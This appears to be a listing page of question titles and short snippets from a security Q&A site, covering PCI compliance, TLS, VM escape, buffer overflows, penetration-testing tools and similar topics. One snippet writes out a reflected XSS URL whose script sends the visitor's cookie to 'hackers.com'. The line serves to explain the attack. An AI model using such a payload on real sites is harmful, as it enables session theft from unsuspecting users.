3
votes
2answers
13k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
0
votes
0answers
15 views

Does running a PowerShell script using an embedded System.Managment.Automation DLL prevent it from being scanned by AMSI?

A new feature called Antimalware Scan Interface, that allow AVs to 'see' Powershell commands executed, was introduced in Powershell v5. According to adsecurity, this feature seems to rely on the ...
0
votes
1answer
45 views

With a very large number of GUIDs, can one predict the previous and subsequent GUIDs that will be generated?

I've been reading up on GUIDs. According to the Wiki: Cryptanalysis of the WinAPI GUID generator shows that, since the sequence of V4 GUIDs is pseudo-random, given full knowledge of the internal ...
15
votes
2answers
281 views
+100

How do big cloud providers guard against VM escape attacks?

I think it's pretty much unassailable to say that cloud computing as we know it depends on the concept of the robustness of virtual machines. Where one can depend on the security of VMs they allow ...
2
votes
3answers
66 views

Best practices for loyalty cards (barcode & NFC)

I am currently trying to determine the best way to go about designing a system that integrates both barcodes and NFC passes. The barcodes will be displayed on a phone screen. The barcode (2D, Aztec, ...
5
votes
3answers
79 views

CVEs aggregated by programming language?

Is there a way to search the CVE database by programming language? For instance, I'd consider CVE-2015-4852 to be a Java-specific vulnerability as the scope of the vulnerability is the commons-...
0
votes
0answers
19 views

Communicating a public key vs it's SHA1 fingerprint

Let's say there is a P2P communication system that establishes secure channels between nodes by letting their users manually exchange their public keys. Would it make any difference from the security ...
1
vote
2answers
199 views

What website accepts only TLS 1.2 so I can verify client capability?

Is there a publicly accessible website which will only accept TLS 1.2 connections so that I can test to see if my application can successfully, securely connect to it? Background: I have an old VB....
0
votes
1answer
33 views

Certificates issued directly from root

EDIT: I have edited my question to not only consider SHA-1 deprecation, but more general the direct signing of subscriber certificates from root. In case a legacy system still uses a setup whereby a ...
-1
votes
0answers
32 views

Dropbox injected thread?

I just noticed while debugging with Visual Studio, that there is a thread belonging to Dropbox running inside my process: DropboxExt.34.dll thread DropboxExt.34.dll!59ee810a My code has nothing to ...
0
votes
1answer
18 views

Applocker Execution Prevention Bypass - Session parameter

I am still new to Metasploit and I am trying to explore the following module: 1- Module Name: exploit/windows/local/applocker_bypass I did: 1- use exploit/windows/local/applocker_bypass 2- set ...
0
votes
0answers
43 views

Login time duration [on hold]

I'm working on a project for improvement of hacking detection. One of my ideas is based on "login time duration" of the user spent while login on an online-banking website vs "copy/paste" fast ...
0
votes
1answer
38 views

open network access, common problems?

what are some common problems for companys who offer "guests" - people that word for a different company at the first companys building - internet access? my guess would be easy to sue downloads like ...
7
votes
1answer
421 views

Chrome/ Opera: How to trace and single out this Malware in Browser Extensions? caused by Tab Manager

There have been lot of articles about legitimate chrome/ opera extensions that get sold out to malicious parties that end up pushing the wrong kind of code down the pipe, since by default these ...
0
votes
0answers
11 views

PCI - PA DSS - QIR

I have a PA-DSS Certified program. Do I need to be QIR Certified to remain PA-DSS Compliant? https://www.pcisecuritystandards.org/program_training_and_qualification/...
0
votes
1answer
26 views

How to encrypt a USB to be used with MAC & Win

I would like to find out if it is possible to encrypt a USB flash drive (or only password protection) which could work with dual OS ( Mac & Windows ). Is there a free software that i could use to ...
1
vote
0answers
17 views

Account Connected Devices ignoring Credential changes

Hello People of Security, one of my accounts got attacked, so they(Provider) did expire my password. I'm currently not able to log into my account. So when I started an older PC of mine, I was still ...
15
votes
6answers
4k views

Automated tools vs. Manual reviews

What are the advantages of using automated tools, as opposed to manual review? What are the disadvantages? This applies both to external blackbox vulnerability scanning, and to static code analysis. ...
-1
votes
3answers
108 views

Jump Servers for security

In my network, I have the clients directly connected to the server; but in the new PCI policies, they required to use jump servers. What is the advantage of using jump servers for security reasons? ...
1
vote
1answer
38 views

Is internal or external hosting more secure? [on hold]

I have been looking for a while to find out the number of malicious attacks that have been successful against internal vs externally hosted web and SQL solutions. When I say internal, I mean the ...
1
vote
1answer
76 views

How to access an HTTPS service running deprecated technology? (TLS 1.0) (phone works but not PC)

So this is the issue: I have a modem/router provided by my telco. The router exposes the usual 192.168.1.254 address for managment, but with my pc there's no way to open it, I tried with firefox, ...
4
votes
8answers
2k views

Does Self-signed certificate differ from CA from a security point of view?

I know that if I use self-signed cert, browsers will warn about it to the user, but I want to know that from security viewpoint is self-signed cert as secure as certificate authority(CA)?
0
votes
1answer
42 views

Remote File Include - commands running on attack box?

I think I am losing my marbles. I am doing a practice lab, and the machine has a server hosting a site with a RFI vulnerability. I host a malicious php file in my /var/www/html and start the apache2 ...
0
votes
3answers
1k views

Encryption of PCI data, and PCI-DSS scoping

I read another question which made me think... If you encrypt PCI data (credit card numbers, etc.) using PGP or AES and send it through a firewall, is that firewall in scope? Alternatively, what ...
0
votes
1answer
33 views

sqlmap login post problem

I have an asp login form (username & password) that is SQL-injectable when the username is found in the database For example, if I inserted -username : foo (foo founded in database) -...
0
votes
1answer
51 views

Scope of PCI DSS regarding CVV

According to PCI SSC, you can hold onto a CVV and other sensitive authentication data until authorization has occurred. In other words, the restriction on storing sensitive authentication data applies ...
3
votes
1answer
55 views

Which host key algorithm is best to use for SSH?

When you first connect to an SSH server that is not contained inside your known_hosts file your SSH client displays the fingerprint of the public key that the server gave. I found from this question ...
0
votes
0answers
13 views

If the security is compromised, can the attacker get the passphrase stored in memory? [duplicate]

In order for a system to be able to use a mounted encrypted device it has to store the passphrase that you give at startup. If an attacker gain access to the system can he easily get that passphrase ...
6
votes
4answers
7k views

Intercept data sent via bluetooth

I am trying to re-write a closed-source application, originally deployed on mobile devices, that lets you command and control a certain type of mechanical robots via bluetooth. The new application I ...
0
votes
1answer
334 views

Filtering Telegram Traffic

I want to filter Telegram Messenger to monitor the network activities (logging) from any platform. I'm wondering if there is any signature I can look into to detect the traffic, maybe a list of server ...
11
votes
3answers
102 views

Are virtualized environments vulnerable to the Row Hammer attack?

Row Hammer is an exploit which relies on RAM defects to get unrestricted access to the RAM content, allowing to read/write otherwise protected memory and to get higher privileges on the system. To ...
1
vote
1answer
78 views

Bizarre HTTP requests to VPS, former malware command and control server?

I just bought a new VPS with Linode. I installed Apache and noticed some very strange behavior that I have been seeing consistently throughout the logs. So basically, I keep receiving stranger HTTP ...
5
votes
2answers
23k views

How can you see the device history of a computer when doing forensics?

I was reading this post on Slashdot which talks about the process of gathering evidence from a computer as part of an investigation. The post mentions being able to see the history of devices ...
7
votes
1answer
90 views

Why does Google consider Thunderbird not secure enough?

There is a special setting in Google accounts to allow "less secure applications" access to your account. If you turn this off, Mozilla Thunderbird won't work to check your e-mail. This is confirmed ...
0
votes
1answer
51 views

Why doesn't my IP change on manual router turn off/on? [on hold]

Basically the title. I remember that when still having IPv4 addresses, my IP changed after the router turn off/on. This doesn't seem to be the case with IPv6. Since there are almost 10^40 addresses ...
10
votes
2answers
3k views

How does Google not care about “spaces” in Application-specific passwords?

I have recently setup "2-step verification" for my Google account. One of the features is the ability to create "Application-specific passwords " for devices that do not support the 2 step process. (...
0
votes
1answer
53 views

Why use XOR or OR operator for “bypass” a conditional jump

I'm currently working on a challenge on root me but had to read the solution on internet because I couldn't progress anymore. I read this article which talk about the challenge I'm currently working ...
-1
votes
0answers
35 views

how does spyware work, what different types are there? [on hold]

I'd like to learn how spyware works. What exactly do they do and how different types may operate? Please feel free to be as detailed as you like.
-6
votes
0answers
38 views

Format String Vulnerability - Invisible Bytes?

I'm reading the book "Hacking: The Art of Exploitation" and I'm trying to exploit this code: http://pastebin.com/FNwjjsBx I noticed something strange - if my command is: ./fmt_vuln $(printf "\xaa\...
0
votes
1answer
127 views

Sharing access-tokens in response header?

What's the best way to share my access tokens, I mean, is it okay to share it in the header as plain-text? - Or do I need to look into e.g.: JWT? Current workflow: -> POST /api/login -d {**creds} ...
19
votes
4answers
15k views

Checklist on building an Offline Root & Intermediate Certificate Authority (CA)

Microsoft allows a CA to use Cryptography Next Generation (CNG) and advises of incompatibility issues for clients that do not support this suite. Here is an image of the default cryptography settings ...
0
votes
1answer
66 views

How does the symmetric key get exchanged in SSL/TLS handshake?

I've been reading a lot about SSL/TLS handshake between a client and a server and many articles on it are very contradictory. Some say that the symmetric key that will be used to communicate between ...
12
votes
4answers
14k views

How can I keep a roommate from seeing my web activity?

I have a roommate who is a network security engineer and I think he hacked our home network and now knows what sites I am visiting and what I am doing online. Although he is not stealing anything I ...
2
votes
1answer
61 views

Is it necessary to have security documentations, policies, DRP & BCP's at place in order to execute secure network architectural review?

One of my client has ISO 27001 audits at their disposal and they have been going through audits. Meanwhile, they are taking custom security services from our company where-in one of the deliverables ...
0
votes
1answer
30 views

Buffer Overflow and Location of Return Address on Stack

I'm trying to exploit this code with a buffer overflow: http://pastebin.com/V8TS2hfi I'm trying to overflow the return address to get the "Access Granted" message, which is simple enough. However, ...
2
votes
1answer
81 views

Samba open ports, not being filtered

nmap scan of my ubuntu computer, output when ran with -sV: 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MEDIAPC) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MEDIAPC)...
0
votes
1answer
33 views

PHP registration script, how to check if request is coming from a credible source

I've got a php registration script, that just takes all the data as a post request. I've got another page which sends that data to the script using jQuery ajax. How can i be sure, that the request ...
0
votes
1answer
90 views

SAML token and service calls

I am working on a tablet application and have come across an interesting issue We have a domain joined tablet that runs a Windows Store Application, we already have user identity and we need to call ...
-2
votes
3answers
173 views

How hard would it be to crack bcrypt hashes if the salt is unknown? [duplicate]

Let's say an attacker has offline access to a database in which passwords are hashed with bcrypt (no pepper added). The hashes look like: $2y$10$H0mRpD2XJZDguAzxTehwzunRkjUR8lB3O4UGrAGLiqJuvnlWjFA7G ...
0
votes
1answer
63 views

How to secure Web directories allowing only me to acess them

I have a web folder with some PHP files that are hosted in my website(e.g. www.mysite.com/myfiles/my_file.php) that I access and trade information using ajax for a Web App that I have. My question is,...

15 30 50 per page